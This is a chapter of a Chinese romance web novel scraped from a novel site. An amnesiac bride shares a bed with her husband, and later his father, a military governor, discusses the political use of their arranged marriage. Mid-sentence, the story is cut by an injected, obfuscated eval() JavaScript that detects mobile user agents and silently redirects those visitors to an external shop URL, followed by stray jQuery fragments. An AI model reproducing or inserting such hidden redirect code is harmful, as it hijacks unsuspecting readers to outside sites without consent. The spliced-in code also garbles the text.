文趣网 > 其他小说 > 失忆后和死对头he了 > 13.捏捏
    很显然是没有的。

    她的这架床,比那间新房里的还要小上许多。

    沈清妍很快就躺下了。

    她蜷膝抱着只枕头,侧卧着,看着一旁在另铺一床被子的穆决,嘟嘟囔囔地道:“掩耳盗铃。”

    男人心,海底针——

    不和她一床被子,难道就不算同床共枕了吗?

    穆决不理她。

    他干脆利落地收拾好了床铺,吹了灯翻上来,冷酷地道:“很晚了,睡觉。”

    沈清妍轻轻哼了一声,才道:“我也没想和你说话。”

    可没过一会儿,她却又朝他这边挪了挪:“夫君——”

    穆决本想闭着眼睛装死,但被子里,她的手摸了过来。

    装不下去了,他深吸一口气,摁住她作乱的手:“乱摸什么?”

    沈清妍不说话,反趁着这个时候,在被窝里握住了他。

    “我没有乱摸,”她理直气壮地道:“而且,你是我的夫君,我就算摸摸你,难道不是天经地义的事情?”

    她一面说,一面朝他侧了过来。

    虽说还隔着两床被子,但她整个人已然要扒到他的枕头上了。

    那场声势浩大的喜事可还没过去多久,这间卧房,包括此时睡着的枕褥,本就留存着她的从前的气息。

    穆决正是血气方刚的年纪,他忍了又忍……

    忍不了一点!

    他腾地翻起身,握着她的肩膀,强势地把她压了回去。

    床帐里一片昏暗,沈清妍本来什么也看不见,可他突然翻身而覆,一下子离得好近好近,近到她已经可以看清,他眉眼间陡然展露出的攻击性。

    心口忽然开始无规则地狂跳,而更荒谬的是,沈清妍能意识到,她并不是在害怕。

    她的声音发紧,眼神也躲闪了起来:“夫君……”

    穆决单臂支在她身前,把她的表情看得一清二楚。

    他咬着后槽牙,伸手捏捏她的脸:“什么天经什么地义的,怎么不说下去了,嗯?”

    沈清妍叫他捏得有点痛,她哼了一声,趁势撒娇并转移话题:“你怎么拧我!”

    “拧的就是你。”

    手感还不错,穆决又捏了一把,方才放过她:“好了,老实睡觉。”

    沈清妍这下是真的老实了,躺得跟被修理了的小树苗一样笔直。

    帐中的气氛变得很安静,她刚闭上眼,却又听见穆决开口:“你失忆了,我们……不能这样。”

    沈清妍不解:“为什么,我们不是夫妻吗?”

    穆决平静地道:“你总会恢复的,也许你清醒过来的那天,会觉得我占你便宜。”

    沈清妍好似明白了,又好似没明白。

    她脑子乱乱的,只“唔”了一声,没再回应。

    凉夜深长,数着身畔均匀的呼吸声,穆决也渐闭上了眼睛。

    ……

    翌日,两人在卫家用过了午饭才回去。

    因着昨晚的事情,沈清妍面对穆决时有些别扭。

    她总是会想起他昨晚看她的那个眼神,总之,看起来很危险!

    穆决浑然没察觉,回程的路上,他只道:“回府之后,你同我一道去给母亲请个安,告诉她我们回来了。”

    想到白夫人,沈清妍一下子什么旖旎心思都没有了。

    她紧张地道:“我们昨晚突然不告而别,现在回去,她会不会很生气啊?不若我们一进去就给她道歉吧?”

    她之前便能隐约猜到这母子俩是在置气,所以昨日才临时起意,提议回卫家。

    不管怎么说,陪妻子回门,总比负气离家听起来好听些。

    穆决挑眉:“没有不告而别,走前我请人传话了。”

    沈清妍还是有些坐立难安:“当真?”

    穆决自嘲般抬了抬唇角,道:“放心吧,她知道任性妄为的是我,不会连坐你。”

    “而且眼下,府里有更要紧的事情,我就是凑上去,她估计也懒得管我。”

    他一贯是这么长大的,年纪小时无人管束,一度以为乳母就是他的亲娘;年纪大了些,亲娘腾出手了,就又变成了她想不起来就一切照旧,想起来什么就都要插手控制。

    他小时候还会想,他于自己的母亲而言算是什么。当然,现在已经懒得琢磨了。

    沈清妍睁圆了眼睛:“什么要紧的事情?”

    穆决淡淡道:“我父亲要回来了。”

    卫家的几位已然归家,穆崇这个掌舵人,自然也该回了。

    沈清妍只以为是穆决宽她的心,没想到,回到节度府后,白夫人倒真的没提起之前的事情,只同两人嘱咐道:

    “这两日便不要胡乱走动了,节帅归家,到时候定要召你们一见。”

    果不其然,就在两日后,穆崇穆节度正式回到节度府,处理完军务大事的当晚,便召来了新成婚的儿子儿妇。

    不是在中堂,而是在他处理军务、发布政令的节堂。

    整座节堂高大肃穆,无论是帅案、舆图,还是那陈列有十数把开刃凶兵的兰锜。

    然而高坐帅案之后的中年人,却与沈清妍预想中威风凛凛的节度使形象相去甚远。

    穆崇一身燕居常服、

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17883808|201992||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    肩宽背阔,眉目间相比杀气,更多的居然是一种疏朗,见穆决携沈清妍一道上前行礼,只微微一笑,扬手便免了礼。

    没什么新意地问过了几句话后,他看向了沈清妍,问道:“怎么,瞧见我不是个青面獠牙的大汉,很惊讶?”

    十六岁的小姑娘,心思跟纸糊得似的,一眼就望穿了。

    见沈清妍忐忑而诚实地点了头,穆崇哈哈大笑,道:“人不可貌相啊,我从前见到你母亲的时候,也想不到看起来斯斯文文的一个女郎,张手就能拉开五石的弓。”

    上位者主动谈起下位者的事情,本身就是一种示好。沈清妍也确实对已经毫无印象的母亲很好奇,不免问道:“您见过我的母亲?”

    两人且谈了几句,节堂内气氛尚可,一旁的穆决心下却闪过许多念头,直到穆崇转过话茬,又问起他近日来学了哪些刀兵、什么招数,他方才收敛心绪,一一作答。

    大概是因为此番与北奚作战取得的胜果,穆崇今天的心情还不错,他这关过得很快。

    儿子儿妇离开之后,他没有在节堂久留,回了正院。

    他后院的女人不算少,也有还喜欢的,但才回来,无论如何也是歇在白夫人这里。

    白宛芳服侍他换了寝衣,又问起他对儿妇可还满意,穆崇笑道:“御赐的姻缘,咱可没这个胆子说不满呐。”

    中原朝廷式微,这话怎么听怎么有戏谑的意味。

    白宛芳配合地嗔他一眼,又扶他在贵妃榻上坐下。

    “不过嘛……”穆崇忽而抚须道:“这阴差阳错的亲事,有时,也无甚不好。”

    白宛芳眉梢微动:“阴差阳错?节帅的意思是……”

    “鲁钺那老匹夫,啧啧……”穆崇道:“他上表皇帝,请旨赐婚,想叫自己的儿子,把沈氏女这个忠烈遗孤娶回去。”

    白宛芳也是聪明人,立时便明白了其中的弯弯绕绕——

    在坐上成州老大的位置之前,鲁钺其实是前任节度使的副官,立身本就不正,再加上前段时间,他还使那阴私手段,夺得了博州。

    娶一个名声好听的儿妇,日后再多做点表面功夫,不说扭转风评,面子上总是更好看些。

    “所以,是皇帝为了平衡……”

    穆崇颔首:“如今成州兵强马壮,坐拥两州之力,皇帝怕我们势弱,干脆倒向他们,有心拱火。”

    听到这儿,白宛芳试探着又问:“那这么看,岂不是一个烫手山芋?”

    “娶便娶了,一个女人而已,”穆崇神色淡淡,仿佛真的只是在讨论一块山芋:“好好待她,以后会有她的用处。”